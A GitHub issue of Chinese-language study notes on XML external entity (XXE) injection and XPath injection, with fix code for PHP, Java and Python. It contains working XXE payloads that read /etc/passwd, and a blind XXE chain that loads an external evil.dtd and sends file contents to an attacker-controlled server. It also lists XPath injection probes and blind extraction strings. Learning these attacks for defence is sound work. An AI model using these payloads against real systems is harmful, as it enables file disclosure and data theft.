Skip to content

XXE & XPath #101

@PyxYuYu

Description

@PyxYuYu

It's during our darkest moments that we must focus to see the light.

0x01 XXE

  • XML
    • XML 是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
    • XML 文档结构包括 XML 声明、DTDDocument Type Definition)文档类型定义(可选)、文档元素
      • DTD 的作用是定义 XML 文档的合法构建模块,DTD 可以在 XML 文档内声明,也可以外部引用
        • 内部声明 DTD
           <!DOCTYPE 根元素 [元素声明]>
        
        • 引用外部 DTD
           <!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
           // 或者
           <!DOCTYPE 根元素 SYSTEM "文件名">
        
        • DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用
          • 内部声明实体
             <!ENTITY 实体名称 "实体的值">
          
          • 引用外部实体
             <!ENTITY 实体名称 SYSTEM "URI">
             // 或者
             <!ENTITY 实体名称 PBULIC "public_ID" "URI">
          
          • 在解析 XML 时,实体将会被替换成相应的引用内容
             // 包含内部实体的 XML 文档
             <?xml version="1.0" encoding="utf-8"?>
             <!DOCTYPE c [
                 <!ENTITY copyright "Copyright xx.xx.xx">
             ]>
             <c>&copyright;</c>
             
             // 包含外部实体的 XML 文档
             <?xml version="1.0" encoding="utf-8"?>
             <!DOCTYPE c [
                 <!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
             ]>
             <c>&copyright;</c>
          
  • XXE
    • XXE InjectionXML External Entity InjectionXML 外部实体注入攻击
    • 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据
  • XXE 成因
    • XML 解析器解析外部实体时支持多种协议
       libxml2:file、http、ftp
       PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
       Java:file、http、ftp、https、jar、netdoc、mailto、gopher
       .NET:file、http、ftp、https
    
    • 上面是默认支持的协议,还可以支持其他的扩展协议,比如 PHP 支持的扩展协议
       openssl、zip、ssh2、rar、oggvorbis、expect
    
    • 当允许引用外部实体时,通过恶意构造,利用上面的协议,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害
       // file 协议读取文件
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY file SYSTEM "file:///etc/passwd">
       ]>
       <c>&file;</c>
       
       // 如果读取的文件包含 <、& 等字符时会失败,对于此类情况,可以使用 php://filter 协议,读取 base64 加密后的文件
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/ect/issue">
       ]>
       <c>&file;</c>
    
    • 不同解析器可能默认对于外部实体会有不同的处理规则,有些可能不会对外部实体进行解析(PHPxml_parse 就不会解析外部实体)
       PHP:DOM、SimpleXML
       .NET:System.Xml.XmlDocument、System.Xml.XmlReader
    
  • XXE 攻击方式
    • 显式 XXE
      • 攻击者通过正常的回显或报错将外部实体中的内容读取出来
         // file 协议读取文件
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE c [
             <!ENTITY file SYSTEM "file:///etc/passwd">
         ]>
         <c>&file;</c>
      
    • Blind XXE
      • 服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据
      • Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体
        • 参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀
        • 内部定义实体:在一个实体中定义的一个实体,即嵌套定义
           <?xml version="1.0" encoding="utf-8"?>
           <!DOCTYPE c [
               <!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"
          	 %a;
           ]>
           <c>&b;</c>
        
      • Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器)
      • DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用
      • 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中
         // 不允许直接使用
         <!ENTITY % file "file:///etc/passwd">
         <!ENTITY % a "<!ENTITY % b SYSTEM 'http://127.0.0.1/?%file;'>">
         %a;
      
         // 放置外部文件中
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE c [
             <!ENTITY % file SYSTEM "file:///etc/passwd">
             <!ENTITY % a SYSTEM "http://example.com/evil.dtd">
      	   %a;
      	   %b;
         ]>
         <c>&send;</c>
         
         // evil.dtd
         <!ENTITY % b "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
      
      • 注意三个实体之间的顺序
        • 首先参数实体 a 将外部文件 evil.dtd 引入
        • 之后参数实体 b 嵌套定义了内部实体 send
        • 最后内部定义实体 send 将数据进行转发
        • 如果将内部定义实体 send 改为参数实体的话
           <c>&send;</c>  // 删除
           %send; // %b; 后增加
           
           // evil.dtd
           <!ENTITY % b "<!ENTITY % send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
        
      • 其他引入外部实体的方式
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE c [
             <!ENTITY % a SYSTEM "http://example.com/evil.dtd">
      	   %a;
         ]>
         <c>&file;</c>
         
         // evil.dtd
         <!ENTITY file SYSTEM "file:///etc/passwd">
      
         <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE a SYSTEM "http://example.com/evil.dtd">
         <c>&file;</c>
         
         // evil.dtd
         <!ENTITY file SYSTEM "file:///etc/passwd">
      
  • XXE 检测
    • 判断 XXE 是否会被解析
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY a "11111">
       ]>
       <c>&a;</c>
       // 如果 a 显示 11111 说明被解析
    
    • 判断服务器是否支持外部实体
       <?xml version="1.0" encoding="utf-8"?>
       <!DOCTYPE c [
           <!ENTITY % a SYSTEM "http://example.com/evil.dtd">
      	 %a;
       ]>
       // 攻击者查看自己服务器上的日志,查看目标服务器是否发送一条请求 `evil.dtd` 的 `HTTP Request`
    
    • 查看能否回显,可以回显的话,用正常显式方式攻击,不能回显,则用 Blind XXE 方式,引用外部文件
  • XXE 漏洞修复
    • 检查所使用的底层 XML 解析库,默认禁止外部实体的解析
    • 使用第三方应用代码及时升级补丁
    • 过滤用户提交的 XML 数据
    • PHP
       // libxml 库,加载实体前调用
       libxml_disable_entity_loader(true);
       // XMLReader 解析
       $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
       // DOM 解析
       $dom = new DOMDocument();
       $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
    
    • Java
       DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
       dbf.setExpandEntityReferences(false);
    
    • Python
       from lxml import etree
       xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    
0x02 XPath 注入

  • XPath
    • XPath 是一门在 XML 文档中查找信息的语言,可用来在 XML 文档中对元素和属性进行遍历
    • XPath 非常类似对数据库操作的 SQL 语言,或者说 JQuery,它可以方便开发者抓取文档中需要的东西
    • XPath 中有七种类节点类型:
      • 元素
      • 属性
      • 文本
      • 命名空间
      • 处理指令
      • 注释
      • 文档节点(根节点)
    • 路径表达式
      • 节点名称: 选取此节点的所有子节点
      • /: 从根节点选取
      • //: 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置
      • .: 选取当前节点
      • ..: 选取当前节点的父节点
      • @: 选取属性
      • 例如
         //@user  选取所有名为 user 的属性
      
    • 限定语
      • 用来查找某个特定的节点或者包含某个特定的值的节点,以方括号括起
         //book[price>35]  选取所有 book 元素,且其中的 price 元素的值大于 35
         /bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素
         //title[@user] 选取所有拥有名为 user 的属性的 title 元素
         //title[@user='a'] 选取所有 title 元素,且这些元素拥有值为 a 的 user 属性
      
    • 通配符
      • *: 匹配任何元素节点
      • @*: 匹配任何属性节点
      • node(): 匹配任何类型的节点
      • |: 选取若干路径
      • 例如
         /bookstore/*  选取 bookstore 元素的所有子节点
         //*  选取文档中的所有元素
         //title[@*]  选取所有带有属性的 title 元素
         //book/title | //book/price  选取所有 book 元素的 title 和 price 元素
      
  • XPath 注入
    • 利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其他信息上附带恶意的 XPath 查询代码,以获得权限信息的访问权并更改这些信息
    • XPath 注入发生在当站点使用用户输入的信息来构造请求以获取 XML 数据,也就是说如果一个网站某应用程序将数据保存在 XML 中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生 XPath 注入,那么攻击者就可以通过控制查询来获取数据,或者删除数据之类的操作
    • Fuzz 方法
      • 通过错误信息页面进行判断以及查看源码进行分析
      • 判断是否存在注入
         // 报错
         '
         // 字符型,查看页面是否改变
         ' or count(parent::*[position()=1])=0 or 'a'='b
         ' or count(parent::*[position()=1])>0 or 'a'='b
         // 数字型,查看页面是否改变
         1 or count(parent::*[position()=1])=0
         1 or count(parent::*[position()=1])>0
      
      • 所有内容 Payload
         前面闭合|//*|后面闭合
      
      • 前后的闭合都需要自己构造,例如
         ']|//*|//*['
         ')]|//*|//*[('
         
         // 完整的语句
         //a[@b='{$user}']/c[d(e, '{$name}')]/f
         //a[@b='']|//*|//*['']/c[d(e, '{$name}')]/f
         //a[@b='{$user}']/c[d(e, '')]|//*|//*[('')]/f
      
      • 逐字判断 Payload(当不知道任何节点的名称或只知道一部分)
         // 提取父节点的名字,改变位置,判断字符
         'or substring(name(parent::*[position()=1]),1,1)='a
         'or substring(name(parent::*[position()=1]),2,1)='b
         // 提取子节点的名字
         'or substring(//父节点名[1]/*[2],1,1)='p' or 'a'='a
         'or substring(//父节点名[1]/*[2],2,1)='a' or 'a'='a
         // 提取子节点的值
         'or substring(//父节点名[1]/*[2]/text(),1,1)='a' or 'a'='a
         'or substring(//父节点名[1]/*[2]/text(),2,1)='b' or 'a'='a
      
    • 漏洞修复
      • 对提交数据的合法性进行验证,检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换,删除敏感字符或字符串
      • 对系统出现的错误信息,与 IE 错误编码信息进行替换,屏蔽系统本身的出错信息
      • 参数化 XPath 查询,将需要构建的 XPath 查询表达式以变量的形式表示,变量不是可以执行的脚本
      • 通过加密算法,对于敏感数据信息和传送过程进行加密

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions